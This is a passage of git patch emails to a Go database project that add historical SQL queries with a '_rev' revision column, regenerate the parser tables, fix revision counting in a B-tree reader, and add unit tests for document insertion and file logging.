91, 83, 91, + 24, 35, 73, 35, -43, 51, -36, 20, -42, -32, + -33, -34, -35, 70, -45, 91, 15, 26, -9, -44, + 92, 90, 91, -10, -6, -16, 74, -36, 73, -14, + -15, 90, -14, -36, -11, 73, 90, -43, -37, -33, + 45, -45, 73, 27, -52, 65, 58, 75, 75, 91, + 91, 91, 91, -56, 83, 20, -17, -10, -41, 48, + -26, 91, -11, -51, 64, 65, 93, 91, -15, 39, + 91, 91, -38, 46, 49, -49, -45, 91, 40, -47, + 52, -36, -13, -23, 20, 41, -42, 49, 83, -36, + -43, -46, -23, -23, 83, -48, 53, 54, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, 0, 0, 0, 0, 0, 0, 0, 0, 73, 78, - 2, 5, 9, 25, 25, 25, 0, 14, 0, 94, - 0, 0, 0, 0, 0, 0, 0, 92, 76, 0, - 79, 3, 0, 0, 0, 0, 25, 15, 16, 97, - 0, 0, 18, 0, 0, 0, 0, 109, 0, 0, - 77, 0, 80, 81, 128, 84, 0, 87, 13, 0, - 0, 0, 0, 93, 0, 0, 95, 0, 101, -2, - 132, 0, 0, 0, 139, 140, 0, 51, 52, 53, - 54, 55, 0, 57, 58, 59, 60, 87, 96, 0, - 0, 0, 0, 38, 0, 121, 0, 109, 35, 0, - 74, 0, 0, 82, 129, 0, 0, 0, 26, 0, - 0, 0, 98, 99, 100, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 144, 133, 134, 0, 0, 0, - 47, 0, 0, 0, 0, 0, 39, 43, 0, 115, - 0, 110, 121, 0, 0, 121, 94, 0, 128, 92, - 128, 130, 0, 0, 88, 0, 62, 0, 0, 0, - 145, 146, 147, 148, 149, 150, 151, 0, 0, 0, - 142, 0, 141, 0, 0, 48, 49, 0, 22, 0, - 24, 0, 0, 0, 117, 0, 0, 115, 36, 37, - -2, 128, 0, 91, 83, 85, 86, 0, 65, 0, - 0, 152, 135, 0, 136, 0, 61, 0, 21, 0, - 0, 44, 0, 31, 0, 116, 0, 117, 109, 103, - -2, 0, 108, 89, 128, 0, 63, 70, 0, 0, - 19, 0, 0, 0, 0, 50, 23, 33, 40, 47, - 30, 118, 122, 27, 0, 32, 111, 105, 0, 90, - 0, 68, 71, 0, 0, 0, 20, 137, 138, 56, - 29, 0, 0, 0, 0, 113, 0, 121, 0, 64, - 69, 72, 66, 67, 41, 0, 42, 28, 119, 0, - 0, 0, 17, 0, 115, 0, 114, 112, 45, 0, - 34, 117, 0, 0, 106, 75, 120, 125, 46, 0, - 123, 126, 127, 125, 124, + 2, 5, 9, 25, 25, 25, 0, 14, 0, 95, + 0, 0, 0, 0, 0, 0, 0, 93, 76, 0, + 79, 3, 0, 0, 0, 0, 25, 15, 16, 98, + 0, 0, 18, 0, 0, 0, 0, 110, 0, 0, + 77, 0, 80, 81, 129, 84, 0, 87, 13, 0, + 0, 0, 0, 94, 0, 0, 96, 0, 102, -2, + 133, 0, 0, 0, 140, 141, 0, 51, 52, 53, + 54, 55, 0, 57, 58, 59, 60, 87, 97, 0, + 0, 0, 0, 38, 0, 122, 0, 110, 35, 0, + 74, 0, 0, 82, 130, 0, 0, 0, 26, 0, + 0, 0, 99, 100, 101, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 145, 134, 135, 0, 0, 0, + 47, 0, 0, 0, 0, 0, 39, 43, 0, 116, + 0, 111, 122, 0, 0, 122, 95, 0, 129, 93, + 129, 131, 0, 0, 88, 0, 62, 0, 0, 0, + 146, 147, 148, 149, 150, 151, 152, 0, 0, 0, + 143, 0, 142, 0, 0, 48, 49, 0, 22, 0, + 24, 0, 0, 0, 118, 0, 0, 116, 36, 37, + -2, 129, 0, 0, 91, 83, 85, 86, 0, 65, + 0, 0, 153, 136, 0, 137, 0, 61, 0, 21, + 0, 0, 44, 0, 31, 0, 117, 0, 118, 110, + 104, -2, 0, 109, 89, 129, 0, 0, 63, 70, + 0, 0, 19, 0, 0, 0, 0, 50, 23, 33, + 40, 47, 30, 119, 123, 27, 0, 32, 112, 106, + 0, 90, 0, 0, 68, 71, 0, 0, 0, 20, + 138, 139, 56, 29, 0, 0, 0, 0, 114, 0, + 122, 129, 0, 64, 69, 72, 66, 67, 41, 0, + 42, 28, 120, 0, 0, 0, 92, 17, 0, 116, + 0, 115, 113, 45, 0, 34, 118, 0, 0, 107, + 75, 121, 126, 46, 0, 124, 127, 128, 126, 125, } var yyTok1 = [...]int8{ @@ -456,12 +458,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 89, 90, 85, 83, 82, 84, 87, 86, 3, 3, + 90, 91, 86, 84, 83, 85, 88, 87, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 91, 3, 92, + 3, 92, 3, 93, } var yyTok2 = [...]int8{ @@ -473,7 +475,7 @@ var yyTok2 = [...]int8{ 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, - 88, + 82, 89, } var yyTok3 = [...]int8{ @@ -1272,306 +1274,311 @@ yydefault: yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } case 92: + yyDollar = yyS[yypt-6 : yypt+1] + { + yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} + } + case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 93: + case 94: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 94: + case 95: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 95: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 96: + case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 97: + case 98: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 98: + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 99: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 100: + case 101: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 101: + case 102: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 102: + case 103: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 103: + case 104: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 104: + case 105: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 105: + case 106: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 106: + case 107: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 107: + case 108: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 108: + case 109: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 109: + case 110: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 110: + case 111: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 111: + case 112: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 112: + case 113: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 113: + case 114: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 114: + case 115: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 115: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 116: + case 117: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 117: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 118: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 119: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 120: + case 121: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 121: + case 122: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 122: + case 123: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 123: + case 124: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 124: + case 125: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 125: + case 126: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 126: + case 127: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 127: + case 128: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 128: + case 129: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 129: + case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 130: + case 131: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 131: + case 132: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 132: + case 133: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 133: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 134: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 135: + case 136: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 136: + case 137: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 137: + case 138: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 138: + case 139: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 139: + case 140: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 140: + case 141: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 141: + case 142: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 142: + case 143: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 143: + case 144: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 144: + case 145: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 145: + case 146: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 146: + case 147: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 147: + case 148: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 148: + case 149: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 149: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 150: + case 151: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 151: + case 152: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 152: + case 153: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index edbad070c8..35f59c2d14 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2272,7 +2272,6 @@ type DataSource interface { type SelectStmt struct { distinct bool - history bool selectors []Selector ds DataSource indexOn []string @@ -2566,7 +2565,7 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( return &ScanSpecs{ Index: sortingIndex, rangesByColID: rangesByColID, - IncludeHistory: stmt.history, + IncludeHistory: tableRef.history, DescOrder: descOrder, }, nil } @@ -2657,9 +2656,10 @@ func newTableRef(table string, as string) *tableRef { } type tableRef struct { - table string - period period - as string + table string + history bool + period period + as string } type period struct { From 10da6651e470322513c4902d1daf9b9fb726773f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 4 Oct 2023 16:23:05 +0200 Subject: [PATCH 0830/1062] fix(embedded/tbtree): consider offset for history count calculation Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/reader.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index fb798e5e52..3f2672c927 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -281,7 +281,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { continue } - return cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, hc, nil + return cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, hc - uint64(r.hoff) + 1, nil } } From b52dd10243d6b3493ae231f33b39b7f443bbb585 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 4 Oct 2023 16:24:20 +0200 Subject: [PATCH 0831/1062] feat(embedded/sql): include _rev column in historical queries Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 12 ++++++++++ embedded/sql/engine.go | 1 + embedded/sql/row_reader.go | 45 ++++++++++++++++++++++++++++++-------- embedded/sql/stmt.go | 4 +++- 4 files changed, 52 insertions(+), 10 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 6dd536772c..7afbe87d53 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -314,6 +314,10 @@ func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, maxCol continue } + if cs.colName == revCol { + return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) + } + _, colExists := table.colsByName[cs.colName] if colExists { return nil, ErrDuplicatedColumn @@ -434,6 +438,10 @@ func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) } func (t *Table) newColumn(spec *ColSpec) (*Column, error) { + if spec.colName == revCol { + return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) + } + if spec.autoIncrement { return nil, fmt.Errorf("%w (%s)", ErrLimitedAutoIncrement, spec.colName) } @@ -471,6 +479,10 @@ func (t *Table) newColumn(spec *ColSpec) (*Column, error) { } func (t *Table) renameColumn(oldName, newName string) (*Column, error) { + if newName == revCol { + return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) + } + if oldName == newName { return nil, fmt.Errorf("%w (%s)", ErrSameOldAndNewColumnName, oldName) } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index d6377919f1..ec7ec68445 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -47,6 +47,7 @@ var ErrLimitedAutoIncrement = errors.New("only INTEGER single-column primary key var ErrLimitedMaxLen = errors.New("only VARCHAR and BLOB types support max length") var ErrDuplicatedColumn = errors.New("duplicated column") var ErrInvalidColumn = errors.New("invalid column") +var ErrReservedWord = errors.New("reserved word") var ErrPKCanNotBeNull = errors.New("primary key can not be null") var ErrPKCanNotBeUpdated = errors.New("primary key can not be updated") var ErrNotNullableColumnCannotBeNull = errors.New("not nullable column can not be null") diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 745557dfe8..f2e4899e7f 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -164,8 +164,29 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per tableAlias = table.name } - colsByPos := make([]ColDescriptor, len(table.cols)) - colsBySel := make(map[string]ColDescriptor, len(table.cols)) + var colsByPos []ColDescriptor + var colsBySel map[string]ColDescriptor + + var off int + + if scanSpecs.IncludeHistory { + colsByPos = make([]ColDescriptor, 1+len(table.cols)) + colsBySel = make(map[string]ColDescriptor, 1+len(table.cols)) + + colDescriptor := ColDescriptor{ + Table: tableAlias, + Column: revCol, + Type: IntegerType, + } + + colsByPos[0] = colDescriptor + colsBySel[colDescriptor.Selector()] = colDescriptor + + off = 1 + } else { + colsByPos = make([]ColDescriptor, len(table.cols)) + colsBySel = make(map[string]ColDescriptor, len(table.cols)) + } for i, c := range table.cols { colDescriptor := ColDescriptor{ @@ -174,7 +195,7 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per Type: c.colType, } - colsByPos[i] = colDescriptor + colsByPos[off+i] = colDescriptor colsBySel[colDescriptor.Selector()] = colDescriptor } @@ -396,14 +417,20 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { return nil, err } - valuesByPosition := make([]TypedValue, len(r.table.cols)) - valuesBySelector := make(map[string]TypedValue, len(r.table.cols)) + valuesByPosition := make([]TypedValue, len(r.colsByPos)) + valuesBySelector := make(map[string]TypedValue, len(r.colsBySel)) + + for i, col := range r.colsByPos { + var val TypedValue - for i, col := range r.table.cols { - v := &NullValue{t: col.colType} + if col.Column == revCol { + val = &Integer{val: int64(vref.HC())} + } else { + val = &NullValue{t: col.Type} + } - valuesByPosition[i] = v - valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = v + valuesByPosition[i] = val + valuesBySelector[col.Selector()] = val } if len(v) < EncLenLen { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 35f59c2d14..d51a7ba761 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -50,6 +50,8 @@ const ( autoIncrementFlag byte = 1 << iota ) +const revCol = "_rev" + type SQLValueType = string const ( @@ -3470,7 +3472,7 @@ func (bexp *CmpBoolExp) isConstant() bool { func (bexp *CmpBoolExp) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { matchingFunc := func(left, right ValueExp) (*ColSelector, ValueExp, bool) { s, isSel := bexp.left.(*ColSelector) - if isSel && bexp.right.isConstant() { + if isSel && s.col != revCol && bexp.right.isConstant() { return s, right, true } return nil, nil, false From f7aad3db97dc47e27e01327142529ebb0f6cdcc3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 4 Oct 2023 16:24:57 +0200 Subject: [PATCH 0832/1062] chore(cmd/immuclient): display raw column selector in table header Signed-off-by: Jeronimo Irazabal --- cmd/immuclient/immuc/sql.go | 1 + 1 file changed, 1 insertion(+) diff --git a/cmd/immuclient/immuc/sql.go b/cmd/immuclient/immuc/sql.go index a45a2cb511..6a3e9c3cf1 100644 --- a/cmd/immuclient/immuc/sql.go +++ b/cmd/immuclient/immuc/sql.go @@ -120,6 +120,7 @@ func renderTableResult(resp *schema.SQLQueryResult) string { consoleTable.Append(row) } + consoleTable.SetAutoFormatHeaders(false) consoleTable.Render() return result.String() } From 5b58a17349c16cd43dd9d65ebba9a53d081b888b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 6 Oct 2023 15:41:24 +0200 Subject: [PATCH 0833/1062] chore(embedded/sql): historical queries over primary index Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index d51a7ba761..2b4c787b49 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2564,6 +2564,10 @@ func (stmt *SelectStmt) genScanSpecs(tx *SQLTx, params map[string]interface{}) ( return nil, ErrNoAvailableIndex } + if tableRef.history && !sortingIndex.IsPrimary() { + return nil, fmt.Errorf("%w: historical queries are supported over primary index", ErrIllegalArguments) + } + return &ScanSpecs{ Index: sortingIndex, rangesByColID: rangesByColID, From 178270cd74cd2c90d608b13d559fcafacdb4a413 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 6 Oct 2023 15:42:00 +0200 Subject: [PATCH 0834/1062] fix(embedded/tbtree): proper _rev calculation Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/reader.go | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 3f2672c927..1da5d080b0 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -281,7 +281,15 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { continue } - return cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, hc - uint64(r.hoff) + 1, nil + var c uint64 + + if r.descOrder { + c = hc - uint64(r.hoff) + 1 + } else { + c = uint64(r.hoff) + } + + return cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, c, nil } } From 82883eee4f4ddc3aa4a5b1c6cd65edd6945ecb0d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 6 Oct 2023 15:42:29 +0200 Subject: [PATCH 0835/1062] test(embedded/sql): historical query unit testing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 56 +++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 365a74e730..602fe74218 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5568,6 +5568,62 @@ func TestTemporalQueries(t *testing.T) { }) } +func TestHistoricalQueries(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) + require.NoError(t, err) + + rowCount := 10 + + for i := 1; i <= rowCount; i++ { + _, txs, err := engine.Exec(context.Background(), nil, "UPSERT INTO table1(id, title) VALUES (1, @title)", map[string]interface{}{"title": fmt.Sprintf("title%d", i)}) + require.NoError(t, err) + require.Len(t, txs, 1) + } + + t.Run("querying historical data should return data from older to newer revisions", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT _rev, title FROM (HISTORY OF table1)", nil) + require.NoError(t, err) + + for i := 1; i <= rowCount; i++ { + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.NotNil(t, row) + require.Equal(t, int64(i), row.ValuesByPosition[0].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesByPosition[1].RawValue()) + } + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = r.Close() + require.NoError(t, err) + }) + + t.Run("querying historical data in desc order should return data from newer to older revisions", func(t *testing.T) { + r, err := engine.Query(context.Background(), nil, "SELECT _rev, title FROM (HISTORY OF table1) order by id desc", nil) + require.NoError(t, err) + + for i := rowCount; i > 0; i-- { + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.NotNil(t, row) + require.Equal(t, int64(i), row.ValuesByPosition[0].RawValue()) + require.Equal(t, fmt.Sprintf("title%d", i), row.ValuesByPosition[1].RawValue()) + } + + _, err = r.Read(context.Background()) + require.ErrorIs(t, err, ErrNoMoreRows) + + err = r.Close() + require.NoError(t, err) + }) +} + func TestUnionOperator(t *testing.T) { engine := setupCommonTest(t) From b1ec963d938f20c4b480953877c5ca216fd15052 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 11:13:10 +0200 Subject: [PATCH 0836/1062] test(embedded/document): removeField with invalid arguments Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index ff191fc32e..9360139aa8 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1535,6 +1535,22 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { ) require.ErrorIs(t, err, ErrFieldDoesNotExist) + err = engine.RemoveField( + context.Background(), + "admin", + "1invalidCollectionName", + "comment", + ) + require.ErrorIs(t, err, ErrIllegalArguments) + + err = engine.RemoveField( + context.Background(), + "admin", + collectionName, + "1invalidFieldName", + ) + require.ErrorIs(t, err, ErrIllegalArguments) + err = engine.RemoveField( context.Background(), "admin", From 5594f10d7f1af314ca7e17e4a7758e7fe52e442d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 11:30:36 +0200 Subject: [PATCH 0837/1062] test(embedded/document): document insertion with invalid arguments Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 9360139aa8..8673df01ef 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -414,6 +414,24 @@ func TestGetDocument(t *testing.T) { }) require.ErrorIs(t, err, ErrCollectionDoesNotExist) + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + DefaultDocumentIDField: structpb.NewStringValue("_docid"), + "country": structpb.NewStringValue("wonderland"), + "pincode": structpb.NewNumberValue(2), + }, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": structpb.NewStringValue("wonderland"), + "pincode": structpb.NewNumberValue(2), + DocumentBLOBField: structpb.NewStructValue(&structpb.Struct{}), + }, + }) + require.ErrorIs(t, err, ErrReservedName) + _, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), From 54035e536ce54be90f0cd5d239c1b2d086b20fde Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 11:41:22 +0200 Subject: [PATCH 0838/1062] test(embedded/logger): cover more logging edge cases Signed-off-by: Jeronimo Irazabal --- embedded/logger/file_test.go | 18 +++++++++++++++++- embedded/logger/json_test.go | 8 +++++++- 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/embedded/logger/file_test.go b/embedded/logger/file_test.go index a9339f45eb..3ac569a336 100644 --- a/embedded/logger/file_test.go +++ b/embedded/logger/file_test.go @@ -58,8 +58,24 @@ func TestFileLogger(t *testing.T) { require.NoError(t, err) logOutput = string(logBytes) require.NotContains(t, logOutput, "some debug 3") - require.NotContains(t, logOutput, "ome info 2") + require.NotContains(t, logOutput, "some info 2") require.Contains(t, logOutput, " WARNING: some warning 3") require.Contains(t, logOutput, " ERROR: some error 3") require.NoError(t, fl3.Close()) + + outputFile4 := filepath.Join(name, "test-file-logger-with-debug-level.log") + fl4, err := NewFileLoggerWithLevel(name, outputFile4, LogDebug) + require.NoError(t, err) + fl4.Debugf("some debug %d", 4) + fl4.Infof("some info %d", 4) + fl4.Warningf("some warning %d", 4) + fl4.Errorf("some error %d", 4) + logBytes, err = ioutil.ReadFile(outputFile4) + require.NoError(t, err) + logOutput = string(logBytes) + require.Contains(t, logOutput, "some debug 4") + require.Contains(t, logOutput, "some info 4") + require.Contains(t, logOutput, " WARNING: some warning 4") + require.Contains(t, logOutput, " ERROR: some error 4") + require.NoError(t, fl3.Close()) } diff --git a/embedded/logger/json_test.go b/embedded/logger/json_test.go index c1435f7502..a0e4147c63 100644 --- a/embedded/logger/json_test.go +++ b/embedded/logger/json_test.go @@ -30,8 +30,14 @@ import ( func TestJSONLogger(t *testing.T) { t.Run("log", func(t *testing.T) { + logger, err := 